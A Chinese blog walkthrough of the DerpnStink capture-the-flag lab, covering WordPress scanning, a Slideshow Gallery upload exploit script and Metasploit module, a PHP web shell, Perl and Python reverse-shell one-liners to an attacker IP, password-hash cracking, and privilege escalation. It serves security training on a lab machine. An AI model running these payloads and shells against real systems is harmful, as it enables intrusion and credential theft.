DerPnStink打靶--wpscan漏洞利用

DerPnStink打靶--wpscan漏洞利用

0x01 端口扫描

nmap 192.168.101.27

0x02 信息搜寻

curl http://192.168.101.27/

发现一个flag

查看网页后发现<script type="text/info" src="/webnotes/info.txt"></script>

查看后发现<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->

意思是要我们添加本地的hosts文件,才能访问博客!

执行echo 192.168.101.27 derpnstink.local >> /etc/hosts即可添加成功。

0x03 获取shell

dirb http://derpnstink.local/

存在http://derpnstink.local/weblog/wp-admin/

说明是个wordpress站点。直接使用wpscan这个工具对站点进行扫描

wpscan --url http://derpnstink.local/weblog/ -U -e --api-token xxx

xxx为自己注册的密钥,没有的去官网注册一个账号即可获得。

方法一

发现是Slideshow Gallery相关的漏洞。直接上msf,里面有相关模块的利用代码

msf利用:
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhosts 192.168.4.58
set targeturi /weblog
set wp_user admin
set wp_password admin
run

获得shell!

方法二

34514漏洞利用

#!/bin/bash

HOST=derpnstink.local
BLOG=weblog
USER=admin
PASS=$USER
VULN="wp-admin/admin.php?page=slideshow-slides&method=save"
FILE=$1

# authenticate
curl \
    -s \
    -c cookie \
    -d "log=$USER&pwd=$PASS&wp-submit=Log" \
    http://$HOST/$BLOG/wp-login.php

# exploit
curl \
    -s \
    -b cookie \
    -H "Expect:" \
    -o /dev/null \
    -F "Slide[id]=" \
    -F "Slide[order]=" \
    -F "Slide[title]=$(mktemp -u | sed -r 's/^.*tmp\.(.*)$/\1/')" \
    -F "Slide[description]=" \
    -F "Slide[showinfo]=both" \
    -F "Slide[iopacity]=70" \
    -F "Slide[galleries][]=1" \
    -F "Slide[type]=file" \
    -F "image_file=@$FILE;filename=$FILE;type=application/octet-stream" \
    -F "Slide[image_url]=" \
    -F "Slide[uselink]=N" \
    -F "Slide[link]=" \
    -F "Slide[linktarget]=self" \
    -F "submit=Save Slide" \
    http://$HOST/$BLOG/$VULN

# cleanup
rm -rf cookie

保存为upload.sh

将以下内容保存为cmd.php

<pre><?php echo shell_exec($_GET['cmd']);?></pre>

执行:

./upload.sh cmd.php

然后访问:http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/cmd.php
这时候正常上传了一个cmd的php恶意代码!

用perl的一句话:

perl -e 'use Socket;$i="192.168.101.25";$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

kali开启:

nc -vlp 6677

然后浏览器访问:

http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/cmd.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.101.25%22%3B%24p%3D6677%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27

这时候拿到了一个反弹shell!

0x04 内网信息收集

利用python或其他命令反弹一个shell即可。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.25",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

提升获得的shell,kali要在bash中进行

ctrl+z
stty raw -echo
fg

搜寻mysql账号密码为root/mysql,发现unclestinky用户,对其密码$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41暴力破解后得到wedgie57

echo "$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41" > hash
john hash --wordlist=/usr/share/wordlist/rockyou.txt

尝试使用stinky/wedgie57登录ftp,结果惊讶的发现登录成功。然后在里面发现key.txt,

文件类型是PEM RSA private key,意思是一个RSA密钥,使用密钥就可以不用密码进行ssh登录了。

0x05 ssh登录

首先将获得的key.txt更改权限

chmod 400 key.txt

ssh登录

ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i key.txt stinky@192.168.101.27

成功登录。

进入桌面即可获得flag。

0x05 提权

使用cve-2021-4034进行提权。由于靶机中存在gcc所以可以执行。

提权成功。

posted @ 2022-09-19 21:16  Morning|Star  阅读(44)  评论(0)    收藏  举报